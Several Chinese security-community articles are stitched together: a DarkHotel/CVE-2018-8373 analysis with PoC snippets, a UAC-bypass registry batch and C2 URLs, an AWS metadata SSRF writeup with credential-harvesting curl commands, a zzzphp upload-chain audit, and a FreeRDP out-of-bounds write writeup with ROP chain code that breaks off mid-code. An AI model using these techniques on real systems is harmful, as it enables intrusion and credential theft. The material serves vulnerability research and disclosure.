Engine的第三个漏洞，其中前两个均为360公司的安全研究人员首次发现，这三个漏洞均影响IE浏览器，且可以通过微软Office文档进行攻击。三个“双杀”0day漏洞发现的时间线如下：
**CVE** | **发现时间** | **修复时间** | **描述**
---|---|---|---
CVE-2018-8174 | 2018.4.18 | 2018.5.8 | 影响Office和IE的双杀漏洞，在野
CVE-2018-8242 | | 2018.7.10 | 360安全研究人员发现并上报微软（参考[2]）
CVE-2018-8373 | 2018.7.11 | 2018.8.14 | 影响Office和IE的双杀漏洞，在野
## 溯源与关联
### 获得打码后的IOC
360威胁情报中心通过大数据分析关联首先得到了趋势科技打码后的IOC地址：
http://windows-updater.net/realmuto/wood.php?who=1??????
### 关联同源0day攻击样本
并发现一个攻击时间和趋势科技发现在野“双杀”0day攻击在同一天的疑似使用该0day攻击的office文档样本，该Offce文档样本中内嵌的域名和趋势科技给出的域名格式一致（http://windows-updater.net/stack/ov.php?w= 1\x00who =1）
### 确认与DarkHotel关联
得到0day漏洞攻击所使用的域名后我们立即发现，该域名正是360威胁情报中心在今年5月发布的关于DarkHotel
APT团伙最新的攻击活动中使用过的域名（详见参考[4]）:
在360威胁情报中心威胁平台中输入该域名也会立即关联到DarkHotel：
## CVE-2018-8373漏洞分析
如下所示为趋势给出的对应POC触发代码：
如下为该漏洞和今年5月360捕获的CVE-2018-8174的POC对比，CVE-2018-8174主要的漏洞原因在于Class_Terminater中可以对释放的内存对象继续赋值，从而导致释放后重用，而这次的CVE-2018-8373则是类的Propert
Get操作中可以修改对应的类成员array的长度，从而导致之后的对象重用：
如下为对应的的POC代码，POC代码很简单，VulClass类中定义了array成员变量，
方法Class_Initialize及Public Default Property Get P。
其中Class_Initialize是VB中一个已经弃用的方法，用于在类创建的时候实现对应的操作，重载后可以在类创建时完成相应的初始化工作，之后被new代替。
Default Property为一个类属性，被Public Default Property Get
P重载后，对该类的访问将触发相应的操作，在POC中即执行ReDim Preserve array(1)。
ReDim用于对指定的内存重新分配，其最终在VB引擎中通过SafeArrayRedim函数实现，熟悉VB漏洞的话，可以知道该函数就是之前CVE-2015-6332漏洞的根源：
POC中首先执行该行代码，new的时候对应执行以下函数VBScriptClass::InitializeClass，由于VulClass类中重载了Class_Initialize方法，因此通过vbscript!CScriptEntryPoint::Call派发进入到对应的编码者实现的Class_Initialize方法中：
Set cls = New VulClass
Class_Initialize方法中修改对应的array长度：
Private Sub Class_Initialize
ReDim array(2)
End Sub
可以看到此时生成的Array对象如下所示，其成员变量数为3，对应的pvData为0x0514dfd0：
之后运行以下代码，VB引擎解析以下代码的顺序是从左自右扫描的，因此首先会进行cls.array(2)的操作：
cls.array(2) = cls
此时会调用函数vbscript!AccessArray判断对应array（2）是否可访问，如下所示此时获取对应array的内存对象：
经过一番判断之后，如下所示esi指向对应的array对象，依次获取array中每个成员的大小cbElements，此处为0x10，需要访问赋值的array
index，此处为2，pvData，以此计算出array（2）对象的地址0514dfd0（pvData）+2（element）*10（cbElements）=0514ff0，0514ff0会被直接拷贝到求值栈上：
如下所示拷贝到求值栈上的array(2)地址：
通过内存访问断点可以跟踪对该地址的引用：
之后执行等号右侧部分的操作，由于该VulClass类定义了Public Default Property Get P，因此会在赋值前执行其中对应的代码：
cls.array(2) = cls
该段代码很简单，通过ReDim修改了array数组的长度，属性Preserve表示对数组中已赋值的那些数据不清空
，但是该处并不影响对应的漏洞触发，该属性删掉也是可以的：
Public Default Property Get P
ReDim Preserve array(1)
End Property
该重置array内存的操作实际通过函数RedimPreserveArray实现，如下所示传入的array对象：
经过一番array类型判断后最终会调用SafeArrayRedim，该函数也就是前面提到的漏洞CVE-2015-6332的成因根源，其原型如下所示，*psa为对应array对象，*
psaboundNew为新数组的大小+1：
HRESULT SafeArrayRedim(
_Inout_ SAFEARRAY *psa,
_In_ SAFEARRAYBOUND *psaboundNew
);
此时的参数如下所示：
调用之后可以看到array对象的pvData已经被修改为0x084a0fe0，之前的pvData
0514dfd0的内存地址已经被释放，包括我们之前存在赋值栈上的0x0514dff0：
最终调用函数AssignVar完成赋值，如下所示，具体赋值操作在红框中，之前会有一个VAR：：Clear的操作，用于释放之前的引用：
VAR：：Clear会获取对应的array（2）的地址，从而造成崩溃：
总结一下，cls.array(2) = cls这行代码中，cls.array（2）赋值前会保存array（2）的地址到求值栈上，之后cls中的Public
Default Property Get
P操作导致赋值前对array（）内存进行重新分配，即之前保存到求值栈上的指针指向的内存被释放，该指针在最终的赋值操作中作为赋值的目标地址，从而导致重用崩溃。
## 样本分析
360威胁情报中心通过大数据关联到本次0day攻击相关的一些payload文件，并对其中的一个后门程序进行了详细分析。
### Zlib
关联到的一个后门程序名为Zlib，其主要功能为：
1. 判断加载进程，如果为mmc.exe，则zlib模块是通过bypassuac的方式加载起来的，然后会通过rundll32加载zlib模块的导出函数uncormpress2（也就是恶意代码主函数），随后调用进程退出。
2. 判断加载进程，如果不是rundll32加载的（Dropper加载），在DllMain函数中创建线程；再判断操作系统是否为64位，如果为64位，直接执行恶意代码主函数，如果不是64位，把zlib模块文件拷贝到programdata目录下，然后通过劫持mmc，运行mmc.exe，加载zlib模块，实现bypassUAC，然后转到第一步。
3. 恶意代码的功能主要是从自身解密出URL，下载恶意payload，解密成dll，修改上线配置信息后，在内存中加载运行。
具体流程如下所示：
详细分析如下：
样本MD5：80705564b4f89915a04bd4c416cd63bc
样本编译时间是2018年7月12日：
样本入口首先会判断加载DLL的主程序是什么：
如果加载DLL的进程为mmc.exe，通过给rundll32.exe传参数调用DLL的uncompress2导出函数：
而该导出函数也被后面的调用进程不为rundll32.exe的流程的线程调用：
如果加载的进程不为rundll32.exe，会直接进入MainThread线程，该处会先判断系统版本，如果是64位系统，直接下载并加载shellcode，如果不是的话，会进入LoadByMMC函数：
该函数的作用主要是把当前DLL复制到ProgramData下，然后运行批处理，通过劫持mmc，绕过UAC加载DLL：
/c REG ADD "HKCU\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32" /ve /t REG_EXP AND_SZ /d "%s\\zlib1.dll" /f &
REG ADD "HKCU\\Environment" /v "COR_PROFILER" /t REG_SZ /d "{D5AB5662-131D-453D-88C8-9BBA87502ADE}" /f &
REG ADD "HKCU\\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f &
REG ADD "HKCU\\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "%s\\zlib1.dll" /f &
mmc gpedit.msc
把操作系统版本和进程列表通过HTTP POST的方式发送到解密后的URL：
URL的解密算法，如下：
待解密的数据，和之前发过的报告的前面的标志是一样的：OCCUR和OCCID
解密后的域名：
检验网络返回数据的合法性，还和以前发的报告的样本的算法是相同的：
解密成DLL后，把DLL里面的URL配置信息修改成当前的url，如图：
寻找REFUR和REFID 这2个字段，按照同样的加密算法，加密并写回去：
然后在内存中加载执行恶意代码：
该恶意代码和之前代码的相同处：
1. 解密URL的代码一样
2. 判断网络回来数据的合法性的地方一样
不同处：
1. 动态修改加载的DLL的上线URL和ID
2. ByPASS uac的方法在DLL里
另外，360威胁情报中心还关联到一个新的DarkHotel使用的劫持Windows操作系统模块的后门mstfe.dll（MD5:
5ce7342400cce1eff6dc70c9bfba965b），并发现新的C2：
hxxp://documentsafeinfo.com/mohamed/salah.php
hxxp://779999977.com/mohamed/salah.php
ID为dr.john-1:
## 总结
360威胁情报中心对DarkHotel
APT团伙的攻击活动一直保持着持续跟踪，从本次事件可以看出，该攻击团伙在近年中保持着相当高的活跃度，为了达成攻击目的甚至会不惜使用0day漏洞进行攻击。另一方面，以Office文档作为0day攻击载体依然是当前最为流行的攻击方式，而通过微软Office来利用第三方模块0day漏洞的攻击面已经成为黑客研究的热点。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此APT攻击团伙最新攻击活动的检测。
## IOC
**URL**
---
http://documentsafeinfo.com/mohamed/salah.php
http://779999977.com/mohamed/salah.php
http://windows-updater.net/stack/ov.php
## 参考
[1].<http://blogs.360.cn/blog/cve-2018-8174-en/>
[2].<http://blogs.360.cn/blog/from-a-patched-itw-0day-to-remote-code-execution-part-i-from-patch-to-new-0day/>
[3].<https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/>
[4].<https://ti.360.net/blog/articles/analysis-of-darkhotel/> | 社区文章 |
# 【技术分享】对AWS元数据服务SSRF漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.christophetd.fr
原文地址：<https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2614799936)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
最近我正在忙一个小项目，研究如何在Docker容器中执行不受信任的Python代码。根据项目要求，我需要测试多个在线代码执行引擎，调研它们对各类攻击的反应。在调研过程中，我发现Qualified研发的代码执行引擎中存在几个非常有趣的漏洞，这个引擎使用范围非常广泛，包括CodeWars或者InterviewCake之类的网站都在使用这个引擎。代码运行引擎能够帮助人们以远程网络访问形式运行代码，并且其基础架构运行在Amazon
Web服务中，结合这两点事实，我决定写篇文章来介绍我所发现的这些有趣的漏洞。
首先，我们向InterviewCake展示了我们在Qualified代码执行引擎中发现的多个漏洞（InterviewCake正是Qualified的某个客户）。然后，我们讨论了某个具体漏洞：依托AWS运行的某个服务中的SSRF（Server
Side Request
Forgery，服务端请求伪造）漏洞。我不会在这里过多介绍SSRF漏洞的基础概念及背景知识，因为网上已经有许多公开资料可以参考（查看这里、这里以及这里的资料）。如果用一句话概括，那就是攻击者可以利用SSRF漏洞，使某个应用程序代替攻击者发起网络连接行为。
备注1：对在线代码执行引擎而言，使用SSRF这个术语是否合适仍有争议，因为它本来就支持网络连接。然而，我仍然坚持使用这个术语，因为我所分析的这个漏洞适用于依托AWS运行的、存在SSRF漏洞的任意应用。
备注2：虽然我在本文中讨论的目标是InterviewCake，但他们本身并没有存在任何安全问题，并且我发现的这个漏洞很有可能不会对他们造成任何安全风险。
**二、漏洞分析**
如果你访问InterviewCake某个随机的提问页面，你可以在页面底部发现一个小区域，在此你能输入并执行代码。
我们可以跟踪Python中用来执行bash命令的代码：
import os
os.system("my command")
再深入跟踪一会儿，我们可以看到每次代码在执行时，主机名（hostname）都会发生变化，并且init进程会在某些控制组（control
group，cgroups）下运行，如下所示：
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
...
根据这两点信息，我们可以判断，代码很有可能运行在Docker容器中。这个容器看上去能够访问互联网，我们可以使用公开的IfConfig.co服务得到容器的外部地址：
import os
os.system("curl ifconfig.co")
结果如下：
107.20.17.162
如果我们反查这个地址的DNS，我们可以发现这个IP地址属于AWS EC2：
$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.
熟悉EC2的人都知道，EC2服务与DigitalOcean类似，用户可以使用EC2服务在云端中创建并运行虚拟机。
**三、漏洞利用**
AWS EC2有个不常用到的功能，即实例元数据服务（Instance Metadata
Service）功能（这也是官方文档中的称呼）。任何EC2实例都可以使用这个功能，访问运行在169.254.169.254这个IP地址上的REST
API接口，返回关于这个实例的一些数据，某些返回数据中会包含如实例名、实例镜像（AMI）ID以及其他一些敏感信息。
根据前文分析，我们的代码很有可能运行在某个EC2实例上（更具体地说，是运行在EC2实例上的某个Docker容器中），因此代码能够访问这个API。让我们来试一下，通过这个API我们能得到什么信息。
import os
def get_endpoint(endpoint):
os.system("curl http:/169.254.169.254" + endpoint)
print()
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
print("[*] User script")
get_endpoint("/latest/user-data/")
我们得到的输出结果如下所示：
[*] AMI id
ami-246cc332
[*] Security credentials
ecsInstanceRole
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac
让我们来逐一分析一下这些字段。
**3.1 AMI id**
这是主机所使用的AMI（Amazon Machine Image）标识符，这个标识符看起来是个私有字段，不能提供更多信息。
**3.2 Security credentials**
这个字段包含主机所绑定的IAM角色列表。IAM（Identity Access
Management）是AWS提供的一项功能，我们可以使用它来管理用户、角色以及权限。在输出结果中，我们看到主机只绑定了一个角色：ecsInstanceRole，因此我们可以使用Metadata
API访问与这个服务绑定的凭证。这是一种安全机制，利用这个机制，用户不需要将AWS
API密钥硬编码在应用代码中，就可以将角色绑定到主机上。我们可以使用API查询有关的凭证信息：
get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
输出结果为：
{
"Code" : "Success",
"LastUpdated" : "2017-03-26T09:59:42Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAIR[redacted]XQ",
"SecretAccessKey" : "42oRmJ[redacted]K2IRR",
"Token" : "FQoDYXdzEOv//////[redacted]",
"Expiration" : "2017-03-26T16:29:16Z"
}
获取这些凭证信息后，合法应用（或攻击者）可以使用AWS API执行ecsInstanceRole角色所允许的任何动作。ECS在这里指的是EC2
Container
Service（EC2容器服务），它也是一项AWS服务，允许用户方便快捷地在云端运行Docker容器，也能提供用户正在运行的主机的摘要信息。
显然，现在我们关心的是，通过这些凭证我们能获取哪种程度的访问权限。如果我们深入研究一下AWS的官方文档，很容易就能发现ecsInstanceRole是一个默认的IAM角色，并且绑定了如下策略：
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecs:CreateCluster",
"ecs:DeregisterContainerInstance",
"ecs:DiscoverPollEndpoint",
"ecs:Poll",
"ecs:RegisterContainerInstance",
"ecs:StartTelemetrySession",
"ecs:Submit*",
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*"
}
]
}
根据这些策略，我们可以做许多好玩的事情，包括创建ECS集群（cluster）、从某个集群中移除EC2实例、往应用日志中写入数据等。
**3.3 User script**
这个端点返回了用户自定义的一个脚本，每当新的EC2实例第一次运行时，这个脚本就会被运行。这类脚本通常用于对环境进行基本配置，比如安装更新包（package）、运行服务等，某些时候还可以用来存储敏感信息（虽然官方不推荐用户这么做）。
这个脚本中的比较有趣的部分内容如下：
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac
如上所示，脚本最后一行泄露了NewRelic的证书密钥。
脚本中第一条命令用来从ecs-conf
S3存储桶（bucket）上下载一个配置文件。通过AWS命令行工具，我们发现即使我们无法列出存储桶的内容，也能够公开访问ecs.config这个文件。
root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
在这个文件中，auth参数经过base64编码，解码后为“codewarsdeploy:somepassword”（出于隐私保护，我们隐去了密码信息），我们可以利用这个信息登录到Qualified的私密Docker注册表中！
这意味着我们能够获取到Docker镜像codewars/runner-server，查看镜像内容，植入后门（或者恶意软件），并将镜像推回到注册表中。这样一来，每当Qualified的代码执行引擎运行一段代码时，我们的恶意代码就会被运行。换句话说，每当某人往InterviewCake上提交一个解答代码时，这类攻击就会发生。CodeWars也面临这类攻击的挑战。
**四、总结**
我向Qualified的Jake报告了这个问题，他的回答非常规范，并且漏洞在几天后就被修复了。
如果你正在AWS上运行应用，那么了解并理解Metadata
API是一件必不可少的工作，因为你的应用中存在的任何SSRF漏洞都会导致巨大的后果。为了限制漏洞及安全风险，用户最好遵循以下几点原则;
1、不要在配置脚本中存储任何敏感信息（AWS称这种脚本为用户脚本）。
2、如果你的主机需要绑定某个IAM角色，那么请赋予它最少的权限。你可以使用IAM策略模拟器来确保主机具备的权限与你所设想的一致。
3、如果你没有使用Metadata API，那么你应该设置相应的防火墙策略，或者只允许root用户能够访问它（参考相应的iptables示例）。
如果你在HackerOne上查找，你可以发现已经有几个报告提到过类似的漏洞：#53088（$300奖励）、#158016
（$50奖励）、#128685、以及#53088
（$1000奖励）。需要注意的是，这个问题并不是AWS所特有的，包括OpenStack以及Google云在内的云服务中也会存在类似问题。然而，Google要求对其元数据服务的所有请求中必须包含一个特定的HTTP头部，这意味着如果攻击者仅能控制请求的URL地址，而没有办法执行头部注入攻击的话，那么他们就无法访问Google的元数据服务。
**五、参考资料**
你可以参考以下资料了解更多信息。
1、RhinoLabs发表的关于AWS漏洞的一篇文章。
2、介绍EC2中安全风险较高的那些功能的一篇文章。
3、Metasploit的一个模块，可以用来收集被突破主机实例的一些元数据信息。 | 社区文章 |
上篇【点亮在代码审计中组合利用链（一）】说到组合利用链在代码审计中的思想，该篇借对zzzphp1.7.3审计对此继续分解。
在zzzphp1.7.3版本save.php中up_load函数对文件上传时，上传目录upfolder可控，可将文件上传到任意目录。若目录不存在则自动创建
调用的upload的函数如下
会发现$type也可被我们控制，但是继续会发现上传的文件的文件类型都做了白名单限制，白名单为
，虽然可以通过构造type=PHP5,filename=xxx.php5但是虽然能够成功上传，但是apache默认并不解析php5。
无法利用，比较鸡肋。正如白名单限制的那样，能够被上传的文件类型有三种：zip压缩包(压缩包文件类型不限制)、图片、pdf。若你够仔细会发现有压缩包是一个切入点。那么可以考虑自解压问题，一个本不是个问题而却能够在一定条件因素下造成的重大漏洞。既然上传的文件包含压缩包且上传的目录任意可控，那么程序是否存在一个包含自解压的功能函数，能够自解压目录下的压缩包，从而造成getshell。
在源代码搜索unzip关键字，会发现up_data函数存在我们需要的利用点unzip。代码如下，getfile函数会遍历zip目录下的zip获取压缩包，压缩包存在进入自解压。
由此,将两个点组合成功构造了一个任意文件上传getshell的利用链。
当然该漏洞已经在cnvd上提交过了而官方也更新了版本，于是借题再次分析该漏洞的漏洞成因。
在zzzphp1.7.4版本中对该1.7.3中任意目录上传问题做了修复。
若使用到zzzcms还请更新至[1.7.4最新版本](http://www.zzzcms.com/a/news/list_4_1.html)。 | 社区文章 |
**Author：sunglin@Knownsec 404 Team
Date: November 9, 2021
Chinese Version: <https://paper.seebug.org/1734/>**
## 0x00 Application of RDP protocol
RDP (Remote Desktop Protocol) is a proprietary protocol created by Microsoft.
It allows system users to connect to remote systems through graphical
interfaces. RDP is mainly divided into server and client.
In this article we will talk about applications related to client and the
attack surface.
The main popular apps include:
mstsc.exe（Microsoft system）
freerdp （The most popular and mature open source app, with github star over
5.6K, fork close to 10K)
## 0x01 RDP communication mechanism
1. [MS-RDPBCGR] is based on the ITU (International Telecommunication Union) T.120 series protocol. The T.120 standard consists of a set of communications and application layer protocols that enable implementors to create compatible products and services for real-time, multipoint data connectivity and conferencing.
2. [MS-RdpBCGR] protocol can establish a tunnel for transmission through static virtual channel and dynamic extended protocol;
3. there are 9 protocols can establish static virtual channel, including commonly-used clipboard、audio output、print virtual channel、smart card, etc.
4. 12 of these protocols can tunnel with dynamic channel virtual channel extension [MS-RDPEDYC], including video virtual channel, audio input, USB devices, graphics pipes, plug and play devices, etc.
5. 7 protocols extend [MS-rdpbcgr] and include UDP transport extension [MS-RDPEUDP], gateway server protocol [MS-TSgu], etc.
## 0x02 RDP image processing channel attack surface
RDP protocol has two channels and a variety of ways for image processing, the
protocol is also very complex.
## 0x03 Attack the MSRDP graphics processing channel
attack fastpath
api:
CCO::OnFastPathOutputReceived(CCO *this, unsigned __int8 *a2, unsigned int a3)
{
switch()
{
case1:
CTSCoreGraphics::ProcessBitmap
.............
case 9:
CCM::CM_ColorPointerPDU
case A:
case B:
............
}
}
Fuzzing this channel, and then get the CRASH of MSRDP：
## 0x04 Briefly analyze this vulnerability
The vulnerability exists in the module `mSTscax.dll`, whose API is
`CUH::UHLoadBitmapBits` `CUH::UHGetMemBltBits` accesses an array boundary when
retrieving stored bitmap data
## 0x05 Vulnerability similarity analysis
MSRDP has the same vulnerability as FreerDP?
freerdp CVE-2020-11525
Like the same vulvulnerability: If id == maxcells, the bitmap array will be
out of bounds. Freerdp is the same as msrdp.
## 0x06 Path and mode of reverse attack on the client
## 0x07 Background of vulnerability
As for the vulnerability of RDP graphics channel, I reported a vulnerability
to FreerDP in July, and FreerDP replied to me and assigned the CVE number
CVE-2020-15103. The reason of the vulnerability mentioned at that time was
integer overflow, and FreerDP released version 2.2.0 to fix the vulnerability
I mentioned. After further analysis of this vulnerability, it was found that
it was not just integer overflow, but freerDP did not fix this vulnerability
correctly, so it was further analyzed.
## 0x08 Vulnerability analysis
First of all, when the RDP connection is established, the server sends the
Demand Active PDU protocol field to the client for function exchange, the
stage of the connection process can be seen from the following figure.
The code for freerdp processing is processed in the connection part of the
callback function `rdp_recv_callback`, When RDP ->state is
`CONNECTION_STATE_CAPABILITIES_EXCHANGE`,the Demand Active PDU protocol fields
will be received.Further, the Demand Active PDU protocol fields will use
capabilitySets fields to set each function.
capabilitySets (variable): An array of Capability Set (section 2.2.1.13.1.1.1)
structures. The number of capability sets is specified by the
numberCapabilities field
Here we focus on Bitmap Capability Set.
The Bitmap Capability Set looks like this, it sets the desktopWidth and
desktopHeight fields which will be used to create the window session, and
allocates a chunk of memory through these fields, and the memory area will be
the area that causes the following overbounds.
The API call path in Freerdp is as follows:
rdp_recv_callback->rdp_client_connect_demand_active->rdp_recv_demand_active->rdp_read_capability_sets->rdp_read_bitmap_capability_set
The rdp_read_bitmap_capability_set function will receive the server data and
will set desktopWidth and desktopHeight.
https://github.com/FreeRDP/FreeRDP/blob/libfreerdp/core/capabilities.c
Freerdp will perform a series of initializations in `wF_POST_connect`,
including initializing bitmap. The API call path is as follows:
wf_post_connect->wf_image_new->wf_create_dib->CreateDIBSection
The final will be calling Windows API CreateDIBSection, CreateDIBSection will
create a large memory base of 4096 pages using `bmi. Bmiheader.biwidth * bmi.
Bmiheader.biheight * bmi. Bmiheader.bibitcount`.
https://github.com/FreeRDP/FreeRDP/blob/client/Windows/wf_graphics.c
After freeRDP is set up and initialized, the memory is called and the
vulnerability is triggered to send Bitmap Data through fast-path Data. Then
FreeRDP will use the initialized memory without any restrictions
The sent data header is as follows:
00,
0x84,0x24,//size = 1060
0x04,
0x1e,0x4, //size - 6
0x04, 0x00,//cmdType
0x00, 0x00,//marker.frameAction
0xFF, 0xE3, 0x77, 0x04,//marker.frameId
0x01, 0x00,//cmdType
0x00, 0x00, //cmd.destLeft // nXDst * 4
0x00, 0x00, //cmd.destTop // nYDst * width
0x00, 0x03,//cmd.destRight
0x04, 0x04,//cmd.destBottom
0x20, //bmp->bpp
0x80,//bmp->flags
0x00,//reserved
0x00, //bmp->codecID
0x00, 0x01, //bmp->width *4
0x01, 0x0, //bmp->height
0x00 ,4,0,0,//bmp->bitmapDataLength
With the specially made header data, the following path will be obtained:
rdp_recv_pdu->rdp_recv_fastpath_pdu->fastpath_recv_updates->fastpath_recv_update_data->fastpath_recv_update->update_recv_surfcmds->update_recv_surfcmd_surface_bits->gdi_surface_bits->freerdp_image_copy
Let's start with the function gdi_surface_bits，in which, there are three paths
to parse and process the received data. Case `RDP_CODEC_ID_REMOTEFX` and case
`RDP_CODEC_ID_NSCODEC`，Both paths parse and transform the raw data, whereas in
case `RDP_CODEC_ID_NONE`, you get the opportunity to copy the raw data
directly.
Static BOOL gdi_surface_bits(rdpContext* context, const SURFACE_BITS_COMMAND* cmd)
{
switch(cmd->bmp.codecID)
{
case RDP_CODEC_ID_REMOTEFX:
rfx_process_message();
case RDP_CODEC_ID_NSCODEC:
nsc_process_message();
case RDP_CODEC_ID_NONE:
freerdp_image_copy()
}
}
Finally come to data cross function freerdp_image_copy ()，where variables
`copyDstWidth`, `nYDst`, `nDstStep`, `xDstOffset` are controllable, `memcpy`
will be written out of bounds
There's a problem. The CreateDIBSection allocates 4096 pages of memory that is
not in the freerdp process.It's hard to overwrite freerDP memory even if you
write out of bounds. Setting `desktopWidth` or `desktopHeight` to 0 will cause
the CreateDIBSection to fail to allocate memory, which causes another path
`gdi_CreateCompatibleBitmap` in `gdi_init_primary`, where`_aligned_malloc` is
called to allocate memory symmetrically with 16 bytes. `DesktopWidth` or
`desktopHeight` is set to 0, so 16 bytes of stable memory will be allocated,
which is in the FreerDP process.
## 0x09 If say you can obtain information leakage
If it is possible to leak the heap address using a homebrew tool, for example,
start from the simplest one, by leaking the address of out-of-bounds memory,
the structure is called in `gdi_CreateCompatibleBitmap` and allocates the
memory that will be out-of-bounds
If you look at the following structure, you will see that the data pointer
will be followed by a free function pointer, which leaks two addresses, the
address of the GDI_BITMAP structure and the address of the data pointer, as
long as the address of the GDI_BITMAP structure is higher than the address of
the data pointer,the offset can be calculated. By setting the offset, it can
accurately overwrite free. Finally, it can control RIP by actively calling
free.
## 0x10 Accurate calculation of offset
Let me remind you a little bit NYDst is `CMD ->destTop`,nDstStep is `CMD
->bmp.width *4`, xDstOffset is `cmd.destLeft*4`, and copyDstWidth is `CMD
->bmp.width *4`
BYTE* dstLine = &pDstData[(y + nYDst) * nDstStep * dstVMultiplier + dstVOffset];
memcpy(&dstLine[xDstOffset], &srcLine[xSrcOffset], copyDstWidth);
Here offset = gdiBitmap_addr - Bitmapdata_addr;
It is needed to set `nYDst * nDstStep *1 + xDstOffset = offset`
The data sent to BitmapData includes shellCode with a size of 1060 and a
header size of 36
The shellCode layout is as follows:
The final calculation is as follows:
if (gdi_addr > Bitmapdata_addr)
{
eip_offset = gdi_addr - Bitmapdata_addr;
char okdata = eip_offset % 4;
UINT64 copywidth = 1024 * 0xffff;
if (okdata == 0)
{
if (eip_offset < copywidth)
{
eip_offset = eip_offset - 1016 + 32 + 32 + 64; //Go backwards 32 + 64
eip_y = eip_offset % 1024;
eip_ = (eip_offset - eip_y) / 1024;
nXDst = eip_y / 4;
}
}
}
## 0x11 Call free actively
Sending the above `bitmap_data` data will control `hBitmap->free`, sending
the`RDPGFX_RESET_GRAPHICS_PDU` message will reset, and `hBitmap->free` will be
called first to release initialized resources.
`RDPGFX_RESET_GRAPHICS_PDU` message processing API flows as follows:
rdpgfx_on_data_received->rdpgfx_recv_pdu->rdpgfx_recv_reset_graphics_pdu->gdi_ResetGraphics->wf_desktop_resize->gdi_resize_ex->gdi_bitmap_free_ex
Rip is controlled by calling `hBitmap-> FREE (hBitmap->data)`
## 0x12 Construct rop chains on top of Win64
First of all, the condition of ROP chain is that the data on the stack must be
used by POP RET, so the complete ROP chain can be constructed only by
controlling the data on the stack. Here we observe the register value when
calling free:
Rax = hBitmap->data rcx = hBitmap->data rdi = rsp + 0x40
The heap data above the address of tmap->data is the data controlled. Here,
under the premise of ignoring the randomization of base address, such a slider
is found through ROPgadget in NTDLL:
48 8B 51 50 mov rdx, [rcx+50h]
48 8B 69 18 mov rbp, [rcx+18h]
48 8B 61 10 mov rsp, [rcx+10h]
FF E2 jmp rdx
As long as this ROP chain is executed, RSP can be perfectly controlled. Then,
it only needs to call WIN API to obtain the memory of a piece of executable
code. Here, the simplest way is to directly call VirtProtect to rewrite the
memory page of ShellCode to the executable state. On x86_64, all API calls are
passed through registers. Virtprotect passes the following parameters:
Mov r9d,arg4
Mov r8d,arg3
Mov edx,arg2
Mov ecx,arg1
Call virtprotect
To sum up, my ROP chain code is constructed like this:
UINT64 rop1 = 0x00000000000A2C08; //mov rdx, [rcx+50h], mov rbp, [rcx+18h],mov rsp, [rcx+10h],jmp rdx
UINT64 rop2 = 0x00008c4b4; // ntdll pop r9 pop r10 pop r11 ret
UINT64 rop3 = 0x8c4b2; //ntdll pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
UINT64 rop4 = 0xb416; //ntdll pop rsp ret
UINT64 rop5 = 0x8c4b7; //ntdll pop rdx; pop r11; ret
UINT64 rop6 = 0x21597; //ntdll pop rcx; ret
UINT64 rop7 = 0x64CC0; //virtprotect
UINT64 shellcode_addr = ntdll_Base_Addr + rop1;
UINT64 rsp_godget = gdi_addr - 104;
memcpy(&shellcode[956], &shellcode_addr, sizeof(shellcode_addr));//向后退32 + 64 rop 之rsp控制栈
memcpy(&shellcode[948], &gdi_addr, sizeof(gdi_addr)); //控制rcx
memcpy(&shellcode[940], &rsp_godget, sizeof(rsp_godget)); //rsp赋值
shellcode_addr = ntdll_Base_Addr + rop3;
memcpy(&shellcode[1004], &shellcode_addr, sizeof(shellcode_addr));//jmp rdx赋值,rop 开始执行
shellcode_addr = ntdll_Base_Addr + rop5; //rop 栈赋值rdx
UINT64 ret1 = 924 - 72;
memcpy(&shellcode[ret1], &shellcode_addr, sizeof(shellcode_addr));
shellcode_addr = ntdll_Base_Addr + rop6; //rop re2
UINT64 ret2 = 924 - 48;
memcpy(&shellcode[ret2], &shellcode_addr, sizeof(shellcode_addr));
shellcode_addr = KERNEL32Base_Addr + rop7; //rop re3
UINT64 ret3 = 924 - 32;
